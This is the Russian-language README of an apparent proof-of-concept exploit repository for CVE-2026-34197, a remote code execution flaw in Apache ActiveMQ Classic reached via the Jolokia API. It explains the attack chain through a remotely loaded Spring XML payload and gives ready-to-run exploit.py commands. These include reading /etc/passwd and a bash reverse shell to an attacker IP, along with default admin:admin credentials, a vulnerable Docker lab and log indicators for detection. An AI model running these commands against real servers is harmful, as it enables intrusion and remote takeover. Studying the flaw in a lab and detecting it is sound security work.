# Эксплойт PoC для CVE-2026-34197 Эксплойт класса proof-of-concept для CVE-2026-34197 — RCE в Apache ActiveMQ через Jolokia API. Включает эксплойт на Python, шаблон полезной нагрузки и Docker-лабораторию для тестирования и исследований.
CVE-2026-34197 — это уязвимость удалённого выполнения кода (RCE) в Apache ActiveMQ Classic, которая позволяет атакующему выполнять произвольные команды в операционной системе сервера через API Jolokia, доступную в веб-консоли.
Уязвимость существует более 13 лет и resides во взаимодействии нескольких компонентов: Jolokia (HTTP-JMX мост), MBeans ActiveMQ, сетевые коннекторы и транспорт VM.
| Поле | Детали |
|---|
| CVE ID | CVE-2026-34197 |
| Тип | RCE (Remote Code Execution) |
| CWE | CWE-20 (Некорректная проверка входных данных), CWE-94 (Инъекция кода) |
| Затронутые версии | ActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2 |
| Исправленные версии | 5.19.4, 6.2.3 |
| Требуется аутентификация | Да (часто используются учётные данные по умолчанию admin:admin) |
| Без аутентификации в | 6.0.0 — 6.1.1 (из-за CVE-2024-32114) |
| Порт по умолчанию | 8161 (веб-консоль) |
Цепочка атаки работает следующим образом:
/api/jolokia/, вызывая операцию addNetworkConnector MBean брокера.vm://, ссылающийся на несуществующий брокер.brokerConfig, указывающий на удалённый URL.xbean: указывает, что ресурс является файлом конфигурации Spring XML.Runtime.getRuntime().exec().Атакующий ActiveMQ (жертва)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://АТАКУЮЩИЙ/x.xml) |
| |
| |-- Создаёт VM-брокер
| |-- Скачивает x.xml
|<-- GET /x.xml --------------------|
|-- Отвечает XML-пейлоадом -------->|
| |-- Spring инстанцирует бины
| |-- Runtime.exec(КОМАНДА)
| |
CVE-2026-34197/
├── README.md # Этот файл
├── exploit.py # Основной PoC
├── payloads/
│ └── template.xml # Шаблон Spring XML пейлоада
├── docker/
│ └── docker-compose.yml # Уязвимая лабораторная среда
└── LICENSE
requests, http.server, argparse (stdlib)pip install requests
cd docker
docker-compose up -d
Это запустит уязвимый ActiveMQ Classic 5.18.6 на localhost:8161.
# Базовое использование с учётными данными по умолчанию
python exploit.py -t http://ЦЕЛЬ:8161 -l IP_АТАКУЮЩЕГО -c "id"
# Указание учётных данных
python exploit.py -t http://ЦЕЛЬ:8161 -l IP_АТАКУЮЩЕГО -c "whoami" -u admin -p admin
# Указание порта HTTP-сервера для пейлоада
python exploit.py -t http://ЦЕЛЬ:8161 -l IP_АТАКУЮЩЕГО -lp 9999 -c "cat /etc/passwd"
# Режим без аутентификации (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://ЦЕЛЬ:8161 -l IP_АТАКУЮЩЕГО -c "id" --no-auth
# Обратная оболочка
python exploit.py -t http://ЦЕЛЬ:8161 -l IP_АТАКУЮЩЕГО -c "bash -i >& /dev/tcp/IP_АТАКУЮЩЕГО/4444 0>&1"
| Параметр | Описание |
|---|---|
-t, --target | Базовый URL цели (например: http://10.0.0.1:8161) |
-l, --lhost | IP атакующего для раздачи XML-пейлоада |
-lp, --lport | Порт локального HTTP-сервера (по умолчанию: 8888) |
-c, --command | Команда для выполнения на цели |
-u, --user | Пользователь (по умолчанию: admin) |
-p, --password | Пароль (по умолчанию: admin) |
--no-auth | Не отправлять учётные данные (для версий 6.0.0 - 6.1.1) |
--broker-name | Имя брокера (по умолчанию: localhost) |
Индикаторы в логах брокера ActiveMQ:
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
Другие индикаторы:
/api/jolokia/ с addNetworkConnector в телеvm:// с brokerConfig=xbean:httpСоздано KONDOR DEV SECURITY
Данный PoC предоставляется исключительно в образовательных целях и для исследований в области безопасности. Использование этого инструмента против систем без явного разрешения незаконно. Автор не несёт ответственности за неправомерное использование этого инструмента.
MIT — Copyright (c) 2026 KONDOR DEV SECURITY